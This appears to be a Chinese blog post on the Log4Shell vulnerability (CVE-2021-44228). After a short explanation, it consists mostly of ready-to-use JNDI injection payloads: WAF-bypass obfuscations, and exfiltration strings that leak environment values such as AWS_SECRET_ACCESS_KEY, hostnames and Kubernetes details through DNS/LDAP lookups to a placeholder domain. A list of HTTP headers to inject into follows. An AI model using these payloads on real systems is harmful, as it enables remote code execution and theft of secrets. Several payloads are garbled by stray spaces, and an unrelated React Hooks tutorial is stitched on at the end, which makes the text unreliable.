Apache Log4j RCE Waf Bypass & Data Exfiltration Payloads

简介

CVE-2021-44228(又名 log4shell)是 Apache Log4j 库中的一个远程代码执行漏洞,该库是一种基于 Java 的日志记录工具,广泛用于世界各地的应用程序中。此漏洞允许可以控制日志消息的攻击者执行从攻击者控制的服务器加载的任意代码——我们预计大多数使用 Log4j 库的应用程序都将满足此条件。

Apache Log4j2 <=2.14.1 在配置、日志消息和参数中使用的 JNDI 功能不能防止攻击者控制的 LDAP 和其他 JNDI 相关端点。当启用消息查找替换时,可以控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。从 log4j 2.15.0 开始,默认情况下已禁用此行为。受影响的版本是2.0 <= Apache log4j <= 2.14.1

工作原理

在这里插入图片描述

  • 攻击者将 JNDI 查找/有效负载插入可能被记录的请求的任何位置。(例如:${jndi:ldap://domain.com/j})
  • 负载被传递到 log4j 以进行日志记录。
  • Log4j 插入字符串并查询恶意 ldap 服务器。
  • ldap 服务器以包含恶意 java 类的目录信息进行响应。
  • Java 反序列化或下载恶意 J​​ava 类并执行它。

Waf Bypass & Data Exfiltration Payloads

${jndi:ldap://domain.com/j} 
${jndi:ldap:/domain.com/a} 
${jndi:dns:/domain.com} 
${jndi:dns://domain.com/ j} 
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${: :-i}://domain.com/j} 
${${::-j}ndi:rmi://domain.com/j} 
${jndi:rmi://domainldap.com/j} 
${ ${lower:jndi}:${lower:rmi}://domain.com/j} 
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j } 
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j} 
${${lower:j}${upper: n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j} 
${jndi:${lower:l}${ lower:d}a${lower:p}://domain.com} 
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap$ {env:NaN:-:}//domain.com/a} 
jn${env::-}di: 
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:} 
j${main:\k5:-Nd}i${spring:k5:-:} 
j${sys:k5:-nD }${lower:i${web:k5:-:}} 
j${::-nD}i${::-:} 
j${EnV:K5:-nD}i: 
j${lower:Nd }i${uPper::}

如果您能 ping 回但它是不可利用的,则以下有效负载可用于数据渗漏。

${jndi:ldap://${env:user}.domain.com/exp} 
${jndi:dns://${hostName}.domain.com/a} 
${jndi:dns://${ env:COMPUTERNAME}.domain.com/a} 
${jndi:dns://${env:USERDOMAIN}.domain.com/a} 
${jndi:dns://${env:AWS_SECRET_ACCESS_KEY.domain.com/ a} 
${jndi:ldap://${ctx:loginId}.domain.com/j} 
${jndi:ldap://${map:type}.domain.com/j} 
${jndi:ldap: //${filename}.domain.com/j} 
${jndi:ldap://${date:MM-dd-yyyy}.domain.com/j} 
${jndi:ldap://${docker: containerId}.domain.com/j} 
${jndi:ldap://${docker:containerName}.domain.com/j} 
${jndi:ldap://${docker:imageName}.domain.com/j } 
${jndi:ldap://${env:USER}.domain.com/j} 
${jndi:ldap://${event:Marker}.domain.com/j} 
${jndi:ldap:/ /${mdc:UserId}.domain.com/j}
${jndi:ldap://${java:runtime}.domain.com/j} 
${jndi:ldap://${java:vm}.domain.com/j} 
${jndi:ldap:// ${java:os}.domain.com/j} 
${jndi:ldap://${jndi:logging/context-name}.domain.com/j} 
${jndi:ldap://${hostName} .domain.com/j} 
${jndi:ldap://${docker:containerId}.domain.com/j} 
${jndi:ldap://${k8s:accountName}.domain.com/j} 
$ {jndi:ldap://${k8s:clusterName}.domain.com/j} 
${jndi:ldap://${k8s:containerId}.domain.com/j} 
${jndi:ldap://$ {k8s:containerName}.domain.com/j} 
${jndi:ldap://${k8s:host}.domain.com/j} 
${jndi:ldap://${k8s:labels.app} domain.com/j} 
${jndi:ldap://${k8s:labels.podTemplateHash}.domain.com/j} 
${jndi:ldap://${k8s:masterUrl}.domain.com/j}
${jndi:ldap://${k8s:namespaceId}.domain.com/j} 
${jndi:ldap://${k8s:namespaceName}.domain.com/j} 
${jndi:ldap:// ${k8s:podId}.domain.com/j} 
${jndi:ldap://${k8s:podIp}.domain.com/j} 
${jndi:ldap://${k8s:podName}.domain .com/j} 
${jndi:ldap://${k8s:imageId}.domain.com/j} 
${jndi:ldap://${k8s:imageName}.domain.com/j} 
${jndi :ldap://${log4j:configLocation}.domain.com/j} 
${jndi:ldap://${log4j:configParentLocation}.domain.com/j} 
${jndi:ldap://${spring :spring.application.name}.domain.com/j} 
${jndi:ldap://${main:myString}.domain.com/j} 
${jndi:ldap://${main:0} domain.com/j} 
${jndi:ldap://${main:1}.domain.com/j} 
${jndi:ldap://${main:2}.domain.com/j} 
${ jndi:ldap://${main:3}.domain.com/j}
${jndi:ldap://${main:4}.domain.com/j} 
${jndi:ldap://${main:bar}.domain.com/j} 
${jndi:ldap:// ${name}.domain.com/j} 
${jndi:ldap://${marker}.domain.com/j} 
${jndi:ldap://${marker:name}.domain.com/j } 
${jndi:ldap://${spring:profiles.active[0].domain.com/j} 
${jndi:ldap://${sys:logPath}.domain.com/j} 
${jndi :ldap://${web:rootDir}.domain.com/j}

Check these headers

Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic 
Authorization: Bearer 
Authorization: Oauth 
Authorization: Token
React Hooks 是 React 16.8 中新增的特性,它可以让你在函数组件中使用 state、生命周期钩子等 React 特性。使用 Hooks 可以让你写出更简洁、可复用且易于测试的代码。 React Hooks 提供了一系列的 Hook 函数,包括 useState、useEffect、useContext、useReducer、useCallback、useMemo、useRef、useImperativeHandle、useLayoutEffect 和 useDebugValue。每个 Hook 都有特定的用途,可以帮助你处理不同的问题。 下面是 React Hooks 的一些常用 Hook 函数: 1. useState useState 是最常用的 Hook 之一,它可以让你在函数组件中使用 state。useState 接受一个初始状态值,并返回一个数组,数组的第一个值是当前 state 值,第二个值是更新 state 值的函数。 ``` const [count, setCount] = useState(0); ``` 2. useEffect useEffect 可以让你在组件渲染后执行一些副作用操作,比如订阅事件、异步请求数据等。useEffect 接受两个参数,第一个参数是一个回调函数,第二个参数是一个数组,用于控制 useEffect 的执行时机。 ``` useEffect(() =&gt; { // 这里可以执行副作用操作 }, [dependencies]); ``` 3. useContext useContext 可以让你在组件树中获取 context 的值。它接受一个 context 对象,并返回该 context 的当前值。 ``` const value = useContext(MyContext); ``` 4. useRef useRef 可以让你在组件之间共享一个可变的引用。它返回一个对象,该对象的 current 属性可以存储任何值,并在组件的生命周期中保持不变。 ``` const ref = useRef(initialValue); ref.current = value; ``` 5. useCallback useCallback 可以让你缓存一个函数,以避免在每次渲染时都创建一个新的函数实例。它接受一个回调函数和一个依赖数组,并返回一个 memoized 的回调函数。 ``` const memoizedCallback = useCallback(() =&gt; { // 这里是回调函数的逻辑 }, [dependencies]); ``` 6. useMemo useMemo 可以让你缓存一个计算结果,以避免在每次渲染时都重新计算。它接受一个计算函数和一个依赖数组,并返回一个 memoized 的计算结果。 ``` const memoizedValue = useMemo(() =&gt; computeExpensiveValue(a, b), [a, b]); ``` 以上就是 React Hooks 的一些常用 Hook 函数,它们可以帮助你更好地处理组件状态、副作用、上下文和性能优化等问题。
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李白你好

年轻人,少吐槽,多搬砖

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值